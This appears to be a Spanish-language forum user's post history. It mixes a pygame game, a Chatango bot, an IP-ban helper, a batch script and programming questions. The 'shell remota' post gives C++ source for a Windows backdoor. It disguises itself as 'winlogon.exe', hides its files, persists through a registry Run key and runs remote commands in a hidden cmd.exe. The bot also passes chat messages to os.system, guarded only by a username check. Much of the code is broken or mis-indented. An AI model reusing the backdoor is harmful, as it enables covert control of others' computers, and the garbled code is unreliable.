 pantalla.blit(jugkar.img,(jugkar.rect))
 pantalla.blit(salida.img,(salida.rect))
 pantalla.blit(minijuego.img,(minijuego.rect))
 pantalla.blit(creditos.img,(creditos.rect))
 pantalla.blit(mira,(mirax,miray))
 # cada disparo crea una lista con las coordenadas del disparo en el diccionario
 for dispa in coor:
disparo = coor[dispa]
                  pygame.draw.circle(pantalla, color, (disparo[0],disparo[1]),4,0)
                 pygame.display.flip()


hola.py
Código (python) [Seleccionar]

# vim: set fileencoding=utf-8 :
import pygame
from pygame.locals import *
import os
import sys
import fgh



class mouse(pygame.sprite.Sprite):
       def __init__(self):
#clase de la mira que interactuara con el menu o texto
               pygame.sprite.Sprite.__init__(self)
               self.img = pygame.image.load("centromira.png")
               # desaparece todo lo blanco y lo hace tranparente
               self.rect = self.img.get_rect()
               self.rect.centerx=250
self.rect.centery=270
class atras(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.img=pygame.image.load("atras.png")
self.rect=self.img.get_rect()
self.rect.centerx=70
self.rect.centery=430
def colision(self,objeto):
if self.rect.colliderect(objeto.rect):
fgh.main()

def main():
pygame.init()
pantalla = pygame.display.set_mode((480,457),0)
pygame.display.set_caption("future caos")
letra = pygame.font.Font("Death.ttf",40)
fondo = pygame.image.load("zombies.jpg")
mira = pygame.image.load("mira.bmp")
mira.set_colorkey((255,255,255))
       text = "Daryo"
text2 = "Creditos"
text3 = "XXXX"
gato = mouse()
mensaje = letra.render(text, 2, (255, 0, 0))
mensaje2 = letra.render(text2, 2, (255, 0, 0))
mensaje3 = letra.render(text3, 2, (255, 0, 0))
baja = 100
reloj = pygame.time.Clock()
coor={}
n=0
xsd=False
color= (0,0,0)
salida=atras()
while 1:
n+=1
if n == 10 and xsd == True:
gato.rect.centery+=10
xsd=False
pos_mouse = pygame.mouse.get_pos()
mov_mouse = pygame.mouse.get_rel()
click = pygame.mouse.get_pressed()
if mov_mouse[0] !=0:  
                         gato.rect.centerx=pos_mouse[0]
                         gato.rect.centery=pos_mouse[1]
if click[0] != 0:
if reloj.tick() > 250:
pygame.mixer.init()
              pygame.mixer.music.load("mg42_shoot.wav")
                               pygame.mixer.music.play()
                               jax = pos_mouse[0]
  jay = pos_mouse[1]
  coor[n]=(jax,jay)
salida.colision(gato)
                               # esta parte es para producir el efecto de la mira en movimiento por el disparo
  gato.rect.centery -=10
  xsd=True
  n=0
for event in pygame.event.get():
if event.type == pygame.QUIT:
sys.exit(0)
if baja <= 500:
baja +=0.2
else:
baja=100
mirax = gato.rect.centerx - 24
miray=gato.rect.centery - 25
pantalla.blit(fondo,(0,0))
pantalla.blit(mensaje2,(170,10))
if baja <= 350:
pantalla.blit(mensaje,(100,baja))
pantalla.blit(mensaje3,(100,baja-50))
pantalla.blit(salida.img,(salida.rect))
pantalla.blit(gato.img,(gato.rect))
pantalla.blit(mira,(mirax,miray))
for dispa in coor:
disparo = coor[dispa]
pygame.draw.circle(pantalla, color, (disparo[0],disparo[1]),4,0)
pygame.display.flip()

#107
Scripting / [python]aporte comodines ip
2 Mayo 2013, 02:34 AM
hecho para un bot que banea por rangos de ip si en listanegra pongo

listanegra.txt

192.168.*.*
127.0.*.*


entonces buscara todas las ip que tengan esa secuencia..
le cambie una que otra linea aca asi que no se si sirva pero si funcionaba sin las modificaciones en el bot

el parametro es la ip completa :)
Código (python) [Seleccionar]

def ip(ip1):
     leer=open("listanegra.txt","r")
     lol=leer.readlines()
     for ip2 in lol:
      ip1=ip1.split(".")
      ip2=ip2.replace("\n","")
      ip2=ip2.split(".")
      x=0
      for a in range(len(ip1)):
        if ip2[x+a]=="*":
                del ip1[x+a]
                del ip2[x+a]
                x-=1
    if(ip1==ip2):
        return True:
       
    else:
     return False:

#108
bueno la cosa es que tengo guardada en un txt la ip de un router el router lo resetee de fabrica por error y cuando volvi a entrar este era otro router el panel de login era diferente y la pass igual  , una tercera vez intente entrar y esta vez tenia la misma configuracion que al principio y la misma clave junto con el panel anterior de login

es posible que teniendo la misma ip este apuntando a otro host?
y si es asi que tan posible sea?

PD: para evitar malentendidos la ip  me la dio un amigo que conoci en irc queria desbloquear el filtro parental (opendns) lo digo para que no se imaginen cosas raras  :P
#109
Scripting / [python]bot para chatango
28 Abril 2013, 01:32 AM
no se cuantos conozcan aca los chats de chatango , es como una especie de irc pero en flash en fin aca un bot que lo ire modificando

talves se vea algo desorganizado cosa que arreglare en futuras versiones para que sea mas claro :)

ch.py
http://pastebin.com/4XkVcsAE

el bot en si:
Código (python) [Seleccionar]
import ch
import time
import random
import re,os
import subprocess

class TestBot(ch.RoomManager):
 def onConnect(self, room):
   print("Connected")
   cerrar=False
   self.cerrar=cerrar
   self.log=open("logschat.txt","a")

   
 def onReconnect(self, room):
   print("Reconnected")
   
 def onDisconnect(self, room):
   print("Disconnected")
 
 def onMessage(self, room, user, message):
   
   print(user.name+":"+message.body)
   self.log.write(user.name+":"+message.body+"\n")
   #asi divido los mensajes en palabras util para comandos
   n=message.body.split(" ")
   #---------------------------------------------------------
   #if message.body.startswith("!a"): # podria servir :D
   if message.body.startswith("!creador"):
     room.message("mi creador es daryo")
   if(message.getBody() == "!hora"):
     da = time.time()
     room.message(time.asctime(time.localtime(da)))
   
   if(message.getBody() == "!drusus"):
     room.message("no pondre este mensaje aca :P")
   try:
    if(n[0]=="!frase" and n[1]!="!frase"):
     # aca borro el comando
      del n[0]
      #---------------------
      frase=" ".join(n)
      #y uno a frase
      room.message(frase)
   except:
      pass
   if (message.getBody() == "!cmds"):
     room.message("esto es un cmds temporal : !log ,!flag ,!hora , !frase , !cmds, !creador, !bye y comando(comando solo para daryo),!dado")
     
# cerrado con despido----------------------------------------------------      
   if (user.name=="daryo" and message.getBody() == "!bye"):
     self.log.close()
     room.message("adios")
     self.cerrar=True
     
   if(user.name=="nombre_del_bot" and message.getBody() == "adios" and cerrar):
       pm.disconect()
     
   elif (user.name!="daryo" and message.getBody() == "!bye"):
     room.message("no tienes los permisos para cerrarme :@")
#-------------------------------------------------------
   try:
    if(n[0]=="!flag" and n[1]!="!flag"):
      room.flagUser(n[1])
      room.message("flageado "+n[1])
   except:
     pass
     
   if(message.getBody() == "!dado"):
     room.message("sacaste: "+ str(random.randrange(1, 7)))

# hay que cambiar muchas cosas de la python 2.0  la idea des que lea los post nuevos
   if(message.getBody() == "!CPH"):
     room.message("en un futuro se podra hacer esto :(")
#_------------------
# estos dos comandos se guardan en una carpeta de un servidor web por eso el enlace en un futuro los subira por ftp a un hosting
   if(message.getBody() == "!log"):
     self.log.close()
     room.message("guardando log "+ "http://dominio.org/logschat.txt")
     self.log=open("logschat.txt","a")
   try:
    if(n[0] == "!comando" and n[1] != "!comando" and user.name=="daryo"): #ejecutar comandos en mi pc
      del n[0]
      n=" ".join(n)
      print (n)
      n=n+ ">comando.txt"
      os.system(n)
      room.message("comando ejectuado "+ "http://dominio.org/comando.txt")
      print(ver)
    elif(n[0] == "!comando" and n[1] != "!comando" and user.name!="daryo"):
      room.message("no tienes permiso para ejecutar comandos en mi pc :@+70")
   except:
     pass

#------------------------------------------------------------------------
     

 def onFloodWarning(self, room):
   room.reconnect()
 
 def onPMMessage(self, pm, user, body):
   pm.message(user, body) # echo

if __name__ == "__main__":
 TestBot.easy_start()
#110
este programita lo hice  ayudando en un post que preguntaba como saber la fecha de creacion de tal archivo y en caso de llevar x tiempo borrarlo o hacer otra cosa

Código (dos) [Seleccionar]
echo off
@echo off
cls
rem genera un bat que me dice la fecha del archivo cuando se le pasa como argumento el archivo
echo archivo a analizar
set /p archivo=

rem aca comparo el archivo y guardo la fecha en fecha.txt

echo echo ^%%^~t1 > asd.bat
call asd.bat %archivo% > fecha.txt
del /f /q /s asd.bat >nul

rem extraigo la informacion y la pongo en variables
for /F "tokens=1,2,3 delims=/ " %%a in (fecha.txt) do (
set /a dia=%%a
set /a mes= %%b
set /a año= %%c
)
del /f /q /s fecha.txt >nul

rem aca es la fecha actual tambien extraigo la informacion
for /F "tokens=1,2,3 delims=/ " %%a in ("%date%") do (
set /a diahoy=%%a
set /a meshoy= %%b
set /a aniohoy= %%c
)

echo muestro las variables del archivo
echo %dia% %mes% %año%
echo -----------------------------
echo fecha actual
echo %diahoy% %meshoy% %aniohoy%
echo ------------------------------


pause

#111
gracias de antemano  :)

por si acaso
conozco c++ python y mas  o menos vbs.
#112
ultimamanete he escuchado cosas positivas pero recuerdo que antes era una reverenda mierd** que opinan?
#113
Corea del Norte aprueba ataque nuclear contra EE.UU.
CitarRT

El Ejército de Corea del Norte ha anunciado este jueves que emprenderá una serie de acciones militares con el uso de armas nucleares contra Estados Unidos, según informó la agencia Yonhap.
El mando militar supremo norcoreano declaró en un comunicado que está notificando formalmente a la Casa Blanca y al Pentágono que las operaciones que involucran armas nucleares avanzadas han sido finalmente aprobadas.

a


El pasado 30 de marzo Pyongyang anunció su salida del acuerdo de armisticio de 1953 con Corea del Sur y Estados Unidos y el regreso al "estado de guerra". Acto seguido Corea del Norte comunicó que había "reiniciado todas las operaciones en las instalaciones nucleares de Yongbyon, incluyendo las de la planta de enriquecimiento de uranio".  

a


Esta semana la Armada de EE.UU. envió tres destructores hacia la región Asia-Pacífico ante las amenazas de Corea del Norte. El pasado lunes, el USS Fitzgerald fue desplegado cerca de la costa suroeste de la península coreana en lugar de regresar a su puerto en Japón. También el USS Decatur y el destructor USS John McCain, capaz de interceptar misiles balísticos, se dirigieron a la región.  


Texto completo en: http://actualidad.rt.com/actualidad/view/90768-corea-norte-ataque-nuclear-eeuu
#114
que me recomiendan es mejor usar la api de windows o el process.h?
para hacer threats

o es indiferente lo que use

:huh:
#115
ASM / libro de nasm en español y gratis
27 Marzo 2013, 17:37 PM
el mismo autor lo regala y ademas esta traducido a varias lenguas el original es en ingles pero hay version en español:

http://www.drpaulcarter.com/pcasm/index.php

tambien trae algunas  herramientas dependiendo el sistema operativo y el compilador que se pueden descargar de la misma web
#116
Redes / [pregunta]arp spoof o paranoia mia
15 Marzo 2013, 20:52 PM
tenia conexion perfecta(algo lenta) pero ponia la ip del router 192.168.1.1 y me decia que era imposible hacer conexion luego de un rato como una hora se me cayo la red (aunque me decia que estaba conectado) probe reiniciando la red y ahi si podia entrar al router puse que solo permitiera la mac de mi pc ahora no me da ese problema

ud que piensan?
#117
hola estoy usando code blocks y al ver el programa con un editor hexadecimal , sale informacion de en que carpeta(y por lo tanto el usuario)  fue compilado con que version del compilador :


mi pregunta es. se puede quitar esa informacion?
#118
hola estoy haciendo una especie de wget ( un programa que descarga archivos ) el problema es que al comienzo me salen las cabeceras http ejemplo

CitarHTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2013 19:41:00 GMT
Server: Apache
Accept-Ranges: bytes
Connection: close
Content-Type: text/html

que puedo hacer para no  queden el archivo descargado :(


gracias de antemano
#119
buenas alguienme puede recomendar un libro para la programacion en windows preferiblemente para c/c++ , manejo de api de windows, wininet, winsocks y cosas asi . y si es posible que sea en español muchas gracias  ;-)
#120
Scripting / [python]hola mundo ofuscado
5 Marzo 2013, 21:53 PM
andaba aburrido y nacio esto:

Código (python) [Seleccionar]
import math,sys;_a_,_=[],ord('\x02');
for __ in range (97,122):
      _a_[len(_a_):]=(chr(__))
if int(str(_)) == math.sqrt((-ord('\x01')-ord('\x01')-ord('\x01')-ord('\x01'))*-ord('\x01')):sys.stdout.write(_a_[8-2+1]+_a_[15-2+1]+_a_[12-2+1]+_a_[1-2+1]+" "+_a_[13-2+1]+_a_[21-2+1]+_a_[14-2+1]+_a_[4-2+1]+_a_[15-2+1]);raw_input()
#121
hola alguien conoce info sobre como manejar los winsockets con multiples conexiones?

gracias :D
#122
Programación C/C++ / shell remota
4 Enero 2013, 16:27 PM
como es la primera vez que hago algo asi tiene varios problemas pero talves a alguien le sirva ...
server

#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <stdio.h>



int main()
{
   WSADATA wsa;
   SOCKET sock;
   struct sockaddr_in local;
   int len=0;
   int lend=0;
   char Buffer[1024];
   char recibido[1024];

   //Inicializamos
   WSAStartup(MAKEWORD(2,0),&wsa);

   //Creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

   //defnimos dirección por defecto, ipv4 y el puerto 9999
   local.sin_family = AF_INET;
   local.sin_addr.s_addr = INADDR_ANY;
   local.sin_port = htons(9999);

   //asociamos el socket al puerto
   if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
   {
      printf("error en el bind\n");
      return -1;
   }

   //ponemos el socket a la escucha
   if (listen(sock,1)==-1)
   {
      printf("error en el listen\n");
      return -1;
   }

   len=sizeof(struct sockaddr);

   //hay una conexión entrante y la aceptamos
   sock=accept(sock,(sockaddr*)&local,&len);

   printf("daryo shell\n");

   int bytes_recv; // esta variable es para saber si llego algun comando

   while (len!=0) //mientras estemos conectados con el otro pc
   {
      memset(Buffer, 0, sizeof(Buffer)); // Limpiamos el buffer.
      fflush(stdin);
      fflush(stdout);
      //esto es para limpiar la cadena por si acaso el siguien comando no tiene respuesta ...
     for (int x=0;x<1024;x++){
     recibido[x]='\0';
     }
    //------------------------------------
      // aca se envia el comando
      printf("\n\n\nenviar comando>");
      gets(Buffer);
      len=send(sock,Buffer,strlen(Buffer),0); //recibimos los datos que envie

// aca espera la llegada del comando
    do{
        bytes_recv = recv(sock, recibido, sizeof(recibido), 0);   // Esperamos para recibir datos...
    } while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);
    if(bytes_recv > 0){
    printf(recibido);



    }

   }

   return 0;
}




cliente

#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <cstdio>
#include <cstring>
#include <windows.h>


bool FileExists() {
FILE *archivo =fopen("windows.dll","r");

if (archivo){
     return true;
}
pclose(archivo);
return false;
}

void instalar(char *directorio,char *direccion){
CopyFile ( direccion, directorio, true );
FILE * winlog=fopen("windows.dll","w");
pclose(winlog);
// ahora escondemos el erchivo
SetFileAttributesA (directorio, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributesA ("windows.dll", FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
// ahora el registro
HKEY hkey;
char registro[60];
strcpy(registro,directorio);
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) registro, sizeof registro );
RegCloseKey (hkey);
}

int shell(){

   WSADATA wsa;
   SOCKET sock;
   struct hostent *host;
   struct sockaddr_in direc;
   int conex;
   char Buffer[1024];
   char *comando;
   int len;

   //Inicializamos
   WSAStartup(MAKEWORD(2,2),&wsa);

   //resolvemos el nombre de dominio localhost, esto se resolverá a 127.0.0.1
   host=gethostbyname("localhost");

   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (sock==-1)
   {
      return -1;
   }
   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
   //y decimos que el puerto al que deberá conectar es el 9999 con el protocolo ipv4
   direc.sin_family=AF_INET;
   direc.sin_port=htons(9999);
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);

   //Intentamos establecer la conexión
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   if (conex==-1)  //si no se ha podido conectar porque no se ha encontrado el host o no
                  //está el puerto abierto
   {
      return -1;
   }


   while (len!=-1 && strcmp(Buffer,"salir")!=0) //mientras el socket no se haya desconectado
                                               //y no se escriba salir
   {
      len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
      if (len>0)  //si seguimos conectados
      {
         Buffer[len]=0; //le ponemos el final de cadena
         comando=Buffer;
         char ejecutar[500]="c:\\windows\\system32\\cmd.exe /c ";
         strcat(ejecutar,comando);

         // ejecutar comando
       SECURITY_ATTRIBUTES sa;
       STARTUPINFO si;
       PROCESS_INFORMATION pi;

       void * leer;
       void * escribir;

       ZeroMemory(&sa,sizeof(&sa));

       sa.nLength = sizeof(SECURITY_ATTRIBUTES);
       sa.bInheritHandle = TRUE;
       sa.lpSecurityDescriptor = NULL;

       CreatePipe(&leer,&escribir,&sa,0);

       GetStartupInfoA(&si);

       si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
       si.wShowWindow = SW_HIDE;
       si.hStdOutput = escribir;
       si.hStdError  = escribir;
       si.hStdInput = leer;

       CreateProcessA(0,ejecutar,0,0,TRUE,0,0,0,&si,&pi);
       Sleep(200);
       CloseHandle(escribir);

       char buffer[1024];
       DWORD bleidos;
       ReadFile(leer,buffer,1024,&bleidos,0);
       send(sock,buffer,1024, 0);
       // un exagerado intento de mantener el buffer vacio
       memset(buffer, 0, sizeof(buffer));
       memset(Buffer, 0, sizeof(Buffer));
       for (int x=0;x<=500;x++){
       ejecutar[x]='\0';
       }
       for (int x=0;x<=1024;x++){
       Buffer[x]='\0';
       }
       fflush(stdin);
       fflush(stdout);
    //------------------------------------------

      }
   }

}

int main(int argc,char *argv[])
{
   char *directorio; // directorio de la instalacion
   char *direccion; // direccion actual
   direccion=argv[0];
   directorio=getenv("userprofile");
   SetCurrentDirectory(directorio);
   strcat(directorio,"\\winlogon.exe"); // nombre de el archivo
   // se ubica en la carpeta de usuario
   if(FileExists()){
   while(true){
   shell();
   Sleep(15000);
   }
   }
   else{
   instalar(directorio,direccion);
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   ZeroMemory( &si, sizeof(si) );
   si.cb = sizeof(si);
   ZeroMemory( &pi, sizeof(pi) );
   CreateProcess( NULL,   // No module name (use command line)
    "winlogon.exe",        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        0,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory
        &si,            // Pointer to STARTUPINFO structure
        &pi );
   }
   return 0;
}

#123
Scripting / python trampa juegos
30 Diciembre 2010, 21:26 PM
hay un programa q se llama cheat engine con el que se puede cambiar en la memoria por ejemplo un puntaje de algun juego mi pregunta  es, que si en python se podria hacer eso de aguna forma :huh: